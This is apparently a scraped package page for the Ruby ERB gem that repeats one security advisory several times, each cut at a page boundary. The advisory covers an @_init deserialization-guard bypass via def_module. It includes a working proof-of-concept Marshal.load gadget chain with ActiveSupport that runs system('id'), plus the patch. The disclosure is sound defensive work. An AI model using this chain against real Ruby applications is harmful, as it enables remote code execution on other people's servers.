  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 06, 2025

5.0.2 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 24, 2025

5.0.1 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

May 14, 2025

5.0.0 major

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

May 13, 2025

4.0.3 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
